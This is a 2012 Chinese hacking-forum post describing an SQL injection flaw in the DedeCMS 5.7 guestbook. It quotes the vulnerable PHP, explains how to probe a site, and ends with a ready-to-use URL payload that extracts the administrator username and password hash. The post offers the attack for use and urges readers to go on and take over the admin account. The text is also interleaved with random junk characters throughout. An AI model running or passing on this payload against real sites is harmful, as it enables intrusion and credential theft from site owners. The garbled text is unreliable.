中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
! v% ?1 ~4 e  G9 w  |7 b+ C. d; X5 y1 a6 E3 [
漏洞文件edit.inc.php具体代码:
- R! r- G! P; @; A) |% I
% J# {" k  N- X, J1 @) a+ v< ?php  9 g' ~$ \% v: x7 G9 v( D, n
, r% T5 j. n8 [
if(!defined('DEDEINC')) exit('Request Error!');  
: O! C2 D9 Y7 z- A1 `6 F( T$ E4 @: T+ a: J% O( o5 b5 H
   
& H6 _7 w7 z$ Y; O9 A+ q1 _
' u  a: D$ R% R# C: u9 Vif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  2 R/ R2 _& T1 L9 i

8 E2 X3 N, y2 Q+ n" `% g; q2 ielse $GUEST_BOOK_POS = "guestbook.php";  
) E$ N6 o9 L; E# {4 u3 U1 D& S  q1 h) T; M. f9 d( s# e$ V
   " H, z! p" x$ f7 j* u% |

0 r2 b- U$ z- W2 t$id = intval($id);  
: _5 b) l1 W4 ^) O" Z& I6 {. |3 p0 b0 ?- w: E/ Y: \! z5 y+ C4 V* ~5 |, ?5 Z
if(empty($job)) $job='view';  
* @$ n7 P3 {  M# W. q1 G* l* v5 x
8 |+ r) F' |0 e1 T/ U5 `   
! Q0 C' ]3 a  s7 Q& _3 R* p6 u: }6 Y6 s+ `  g3 U. i
if($job=='del' && $g_isadmin)  4 r, F: |: [/ g' P3 C' A
, |, t  u3 k* {  s$ ]! a& }) C9 v3 P
{  ' c# }+ j' o" ~% ^5 c/ A* D0 b

+ s1 B  c, z) u, O3 t0 r' Z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
! ]3 H9 }" v0 B0 d4 {1 P- p( z3 s7 E- b0 l; \
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  : K# @; u  l' h
( N+ f. z$ @$ F4 x, Z
exit();  ) P& M8 y( F/ B2 t

$ v9 Q+ @0 V+ f  C" r, o0 d8 W4 z, F}  / i# u3 y. J% u9 K5 G" e2 s* U
# j% w; g3 i+ k$ U9 v
else if($job=='check' && $g_isadmin)  
! s8 l3 z. f- V) d7 r+ r! C8 N
1 d$ j( m, M" F* s! N" [{  : S( b* E1 V% U; T- F5 H
" U% j4 J5 L& f  \
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  2 U: H) d1 [7 l

/ a) q, m6 r- u, k& ~- h  pShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
5 G2 {( m; m3 i$ d1 n! t( ?
0 x( P( L6 _* Eexit();  / s3 J% f+ `  J3 H" E/ E* H

1 \! U( Q- a& |, }, d}  
- X2 ~8 U" f$ w$ n+ r+ H5 x8 H
$ F) J; L( n5 _, Z- Nelse if($job=='editok')  1 i, V. ~1 S, @% d9 Q
# u2 [3 ]3 e" P7 @/ H. I+ V" u
{  - h) Q# I* C- R3 v7 `5 v
9 {, d! W4 t. Q, r, i) r/ R
$remsg = trim($remsg);  " Z3 F  S! b+ W; f2 n5 P- y5 X

) d( M0 M5 H$ d% p2 X9 _! A0 Yif($remsg!='')  
% b* f. ]4 Z* U, }3 h! _6 }& @  u* R9 I  w
{  
6 Y5 [: X% l& u0 ?* ?  E7 ~% o. o  A2 x
//管理员回复不过滤HTML By:Errorera blog:errs.cc  : G" y0 p- T) o

4 y0 G, Q! {0 y& ~if($g_isadmin)  
1 V1 B- k5 a; B9 B3 X! d. C9 H; o" ?
" E7 w2 r4 S2 V5 e+ d/ k. c) w{  
" v' [& g7 Z% F) |" [  t2 ^" f. O+ X! K/ R, b9 F
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
. ^' U* i: b- R9 U) D" {
2 a$ K3 l" B. h5 |! Z% y; F0 s//$remsg <br /><font color=red>管理员回复:</font> }  ; T6 \* C& Q$ \- F& P

0 w" h$ v- y! S" M* v0 P+ Telse
; C/ L. b: P# J: O, Q+ ^9 z0 }1 J
2 Z: B/ p* C8 r1 `) }5 L{  7 T3 N, t1 |; v
# ~2 J  E" o- t, T" ~2 k1 S
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  8 E7 y: y& \5 S

3 t- R' {8 g; t% _$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  % K& j# q* j5 ]% `" r% `

0 M% i6 P/ ]$ r5 |# F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  7 ?+ f0 L7 D8 ?: d' Z. @/ d. y
3 C* t1 G/ H8 L  R
$msg = $oldmsg.$remsg;  
1 U5 ]. S; [+ y" D$ J: R3 l8 u2 h+ A
: E4 d; x- `1 E}  
. O. l9 b4 V& i) B9 F5 {7 F) v! F- ]: x# G6 `" f  g
}  , l. i  A5 w( Y9 U
# R, x  k& u+ t% l
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  8 V7 S* H' {0 L( p) Z* d

" y: ^9 d" l# ^$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
8 d: {) O0 c# {" y$ ]# h' m! P( @
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
- Y7 O% z$ x: r/ e. z- |/ R- ~! R) f
exit();  
( d5 Q+ w) R1 @8 Q( D: J
9 C, Y0 X* l' D( W+ x+ p* t}  1 B- h* H! ~4 D! q  [9 e
% Y8 u" x7 L  L
//home:www.errs.cc  
9 y' C1 q, g- e7 M  r2 r0 j( O
' _6 r$ U! ^. X" Qif($g_isadmin)  
9 C1 k$ s9 O+ A/ @) J. U
) e# X/ m( w  q& J9 d( {8 h" \0 r9 k{  " h2 w, v6 t- W  w% `4 z9 a

) S' i- V$ }; ~, z: Y$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
( ~* E7 r+ @5 O7 ^
. U: w) o& @% h3 j; \1 A4 grequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
0 {8 {! {( L" l# K( \7 E2 w7 w1 n# l7 G- k0 ~* A; q! _9 a+ m
}  
" f8 ^" p: M2 ^) v
, V+ c- @+ j2 Z& Nelse # N  p/ i- i& o, I# I

# k; Z" l" }* z" ]% E+ D% C7 g{  - o: Z( K) [: Z6 p: x) @: g1 Y

4 ]+ b) d3 M2 S3 W- {6 c3 o$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  4 h) l* U- w9 c7 F2 C! X$ ]

8 w" d* h! |$ y& `" m% r5 ]7 ^require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
* @/ _. t8 I& }6 a4 {! F/ t# R0 U  @8 R2 y& ^; D
} 漏洞成功需要条件:! U# G* V: [" k9 G  c. G
1. php magic_quotes_gpc=off) T4 j! Q* k9 `0 K$ S
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。/ G' V. C0 o4 x* \* [" X6 e! s$ B3 [3 {

$ y/ F/ [, c1 ~  @9 m( @怎么判断是否存在漏洞:  }6 M2 l% I# ^6 U* v+ S( B* i: ?
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
$ F+ T- j  m. C  w% h+ V+ k# B* m然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
* v% x  n6 n5 ^, W# y: \; ^' M访问:
4 l" `# O; m7 \# J; s3 K* p8 }
5 F, g6 T& Z; y7 }  Q$ Q2 Pwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
1 q: Q% o% x8 {/ v' z8 d跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证+ U, v! v6 w; N
: A! F: K6 s$ t' t- C9 p

9 R. |% f# }; p  @  m# k4 c: V( Z明漏洞无法利用应为他开启了 php magic_quotes_gpc=off( T, m8 d7 Q, r
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
0 w0 _0 L, L5 g) N* _那么再次访问
- f# v& G, a1 i/ Z- a* W; B8 B# X- N
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().2 x6 M2 _/ y* ^$ V) u  \( k$ ?
4 ]" B, g5 \4 a/ }, j, a
大概利用就是这样,大家有兴趣的多研究下!!% _6 e# d! \5 G8 |: C

6 |1 e5 M! P, }% `最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!/ E- j/ u) U  s0 Y5 l  d
9 Y. N- p" n: x
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2